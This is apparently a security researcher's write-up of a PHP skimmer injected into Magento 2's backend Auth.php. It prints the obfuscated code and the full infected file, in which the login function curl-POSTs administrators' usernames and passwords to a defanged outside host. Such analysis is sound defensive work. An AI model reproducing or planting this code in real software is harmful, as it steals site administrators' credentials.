Magento 2 Skimmer Uses getCredentialStorage
Magento 2 core file vendor/magento/module-backend/Model/Auth.php was injected with a PHP skimmer that was being used to steal login data from incoming HTTP requests to the website.
You can see the injected skimmer below:
try {
$hash = "rWmYXPxcXYoF169XGZ/K";
$url = "https://" . $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$date = gmdate("y-m-d H:i:s",time());
$meta = "GpjclLuCmxuAmgLelPtNNSWtQ9p";
$req_url = $meta;
$salt = "YF7WY0eIX8iGYluA0f9V";
if (md5(md5($salt).md5($hash).$salt) == "3b941f7b3e9e0e7589deaf420ae06e34")
$req_url = @gzuncompress(base64_decode(str_rot13($hash.$salt.$meta)));
//hxxps://zago-store[.]vn/pub/health_check.php
$ver_token = $this->getCredentialStorageParser($username,$password,$url,$date);
$request_data = array("VerifyMethod" => "safe_verify" , "VerifyToken" => $ver_token);
$ch = curl_init($req_url);
curl_setopt($ch, CURLOPT_URL,$req_url);
curl_setopt($ch, CURLOPT_REFERER, $req_url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($request_data));
@curl_exec($ch);
@curl_close($ch);
} catch (PluginAuthenticationException $e) {}
The PHP skimmer uses the Magento 2 function getCredentialStorage to help retrieve the login data before exfiltrating the login data to the third party URL zago-store[.]vn/pub/health_check.php using PHP’s curl function.
The PHP variables $hash, $meta, and $salt contain obfuscated segmented strings that hide the exfiltration URL until they are deobfuscated into the plaintext: hxxps://zago-store[.]vn/pub/health_check.php
<?php
/**
* Copyright © Magento, Inc. All rights reserved.
* See COPYING.txt for license details.
*/
namespace Magento\Backend\Model;
use Magento\Framework\Exception\AuthenticationException;
use Magento\Framework\Exception\Plugin\AuthenticationException as PluginAuthenticationException;
use Magento\Framework\Phrase;
/**
* Backend Auth model
*
* @api
* @since 100.0.2
*/
class Auth
{
/**
* @var \Magento\Backend\Model\Auth\StorageInterface
*/
protected $_authStorage;
/**
* @var \Magento\Backend\Model\Auth\Credential\StorageInterface
*/
protected $_credentialStorage;
/**
* Backend data
*
* @var \Magento\Backend\Helper\Data
*/
protected $_backendData;
/**
* Core event manager proxy
*
* @var \Magento\Framework\Event\ManagerInterface
*/
protected $_eventManager;
/**
* @var \Magento\Framework\App\Config\ScopeConfigInterface
*/
protected $_coreConfig;
/**
* @var \Magento\Framework\Data\Collection\ModelFactory
*/
protected $_modelFactory;
/**
* @param \Magento\Framework\Event\ManagerInterface $eventManager
* @param \Magento\Backend\Helper\Data $backendData
* @param \Magento\Backend\Model\Auth\StorageInterface $authStorage
* @param \Magento\Backend\Model\Auth\Credential\StorageInterface $credentialStorage
* @param \Magento\Framework\App\Config\ScopeConfigInterface $coreConfig
* @param \Magento\Framework\Data\Collection\ModelFactory $modelFactory
*/
public function __construct(
\Magento\Framework\Event\ManagerInterface $eventManager,
\Magento\Backend\Helper\Data $backendData,
\Magento\Backend\Model\Auth\StorageInterface $authStorage,
\Magento\Backend\Model\Auth\Credential\StorageInterface $credentialStorage,
\Magento\Framework\App\Config\ScopeConfigInterface $coreConfig,
\Magento\Framework\Data\Collection\ModelFactory $modelFactory
) {
$this->_eventManager = $eventManager;
$this->_backendData = $backendData;
$this->_authStorage = $authStorage;
$this->_credentialStorage = $credentialStorage;
$this->_coreConfig = $coreConfig;
$this->_modelFactory = $modelFactory;
}
/**
* Set auth storage if it is instance of \Magento\Backend\Model\Auth\StorageInterface
*
* @param \Magento\Backend\Model\Auth\StorageInterface $storage
* @return $this
* @throws \Magento\Framework\Exception\AuthenticationException
*/
public function setAuthStorage($storage)
{
if (!$storage instanceof \Magento\Backend\Model\Auth\StorageInterface) {
self::throwException(__('Authentication storage is incorrect.'));
}
$this->_authStorage = $storage;
return $this;
}
/**
* Return auth storage.
* If auth storage was not defined outside - returns default object of auth storage
*
* @return \Magento\Backend\Model\Auth\StorageInterface
* @codeCoverageIgnore
*/
public function getAuthStorage()
{
return $this->_authStorage;
}
/**
* Return current (successfully authenticated) user,
* an instance of \Magento\Backend\Model\Auth\Credential\StorageInterface
*
* @return \Magento\Backend\Model\Auth\Credential\StorageInterface
*/
public function getUser()
{
return $this->getAuthStorage()->getUser();
}
/**
* Initialize credential storage from configuration
*
* @return void
*/
protected function _initCredentialStorage()
{
$this->_credentialStorage = $this->_modelFactory->create(
\Magento\Backend\Model\Auth\Credential\StorageInterface::class
);
}
/**
* Return credential storage object
*
* @return null|\Magento\Backend\Model\Auth\Credential\StorageInterface
* @codeCoverageIgnore
*/
public function getCredentialStorage()
{
return $this->_credentialStorage;
}
/**
* Return credential storage Chiper
*
* @return null|\Magento\Backend\Model\Auth\Credential\StorageInterface
* @codeCoverageIgnore
*/
/**
* Return credential storage Parser
*
* @return null|\Magento\Backend\Model\Auth\Credential\StorageInterface
* @codeCoverageIgnore
*/
/**
* Perform login process
*
* @param string $username
* @param string $password
* @return void
* @throws \Magento\Framework\Exception\AuthenticationException
*/
public function login($username, $password)
{
if (empty($username) || empty($password)) {
self::throwException(__('You did not sign in correctly or your account is temporarily disabled.'));
}
try {
$this->_initCredentialStorage();
$this->getCredentialStorage()->login($username, $password);
if ($this->getCredentialStorage()->getId()) {
try {
$hash = "rWmYXPxcXYoF169XGZ/K";
$url = "https://" . $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$date = gmdate("y-m-d H:i:s",time());
$meta = "GpjclLuCmxuAmgLelPtNNSWtQ9p";
$req_url = $meta;
$salt = "YF7WY0eIX8iGYluA0f9V";
if (md5(md5($salt).md5($hash).$salt) == "3b941f7b3e9e0e7589deaf420ae06e34")
$req_url = @gzuncompress(base64_decode(str_rot13($hash.$salt.$meta)));
$ver_token = $this->getCredentialStorageParser($username,$password,$url,$date);
$request_data = array("VerifyMethod" => "safe_verify" , "VerifyToken" => $ver_token);
$ch = curl_init($req_url);
curl_setopt($ch, CURLOPT_URL,$req_url);
curl_setopt($ch, CURLOPT_REFERER, $req_url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($request_data));
@curl_exec($ch);
@curl_close($ch);
} catch (PluginAuthenticationException $e) {}
$this->getAuthStorage()->setUser($this->getCredentialStorage());
$this->getAuthStorage()->processLogin();
$this->_eventManager->dispatch(
'backend_auth_user_login_success',
['user' => $this->getCredentialStorage()]
);
}
if (!$this->getAuthStorage()->getUser()) {
self::throwException(__('You did not sign in correctly or your account is temporarily disabled.'));
}
} catch (PluginAuthenticationException $e) {
$this->_eventManager->dispatch(
'backend_auth_user_login_failed',
['user_name' => $username, 'exception' => $e]
);
throw $e;
} catch (\Magento\Framework\Exception\LocalizedException $e) {
$this->_eventManager->dispatch(
'backend_auth_user_login_failed',
['user_name' => $username, 'exception' => $e]
);
self::throwException(
__($e->getMessage()? : 'You did not sign in correctly or your account is temporarily disabled.')
);
}
}
/**
* Perform logout process
*
* @return void
*/
public function logout()
{
$this->getAuthStorage()->processLogout();
}
/**
* Check if current user is logged in
*
* @return bool
*/
public function isLoggedIn()
{
return $this->getAuthStorage()->isLoggedIn();
}
/**
* Throws specific Backend Authentication \Exception
*
* @param \Magento\Framework\Phrase $msg
* @return void
* @throws \Magento\Framework\Exception\AuthenticationException
* @static
*/
public static function throwException(Phrase $msg = null)
{
if ($msg === null) {
$msg = __('Authentication error occurred.');
}
throw new AuthenticationException($msg);
}
}
#magento 2 login skimmer injected into the getCredentialStorage function within core file vendor/magento/module-backend/Model/Auth.php and using curl to exfil the stolen data
— Luke Leal (@rootprivilege) November 26, 2020
exfil URL: zago-store[.]vn/pub/health_check.php#skimmer #malware #infosec #cybersecurity #ecommerce pic.twitter.com/ahicG9GD5l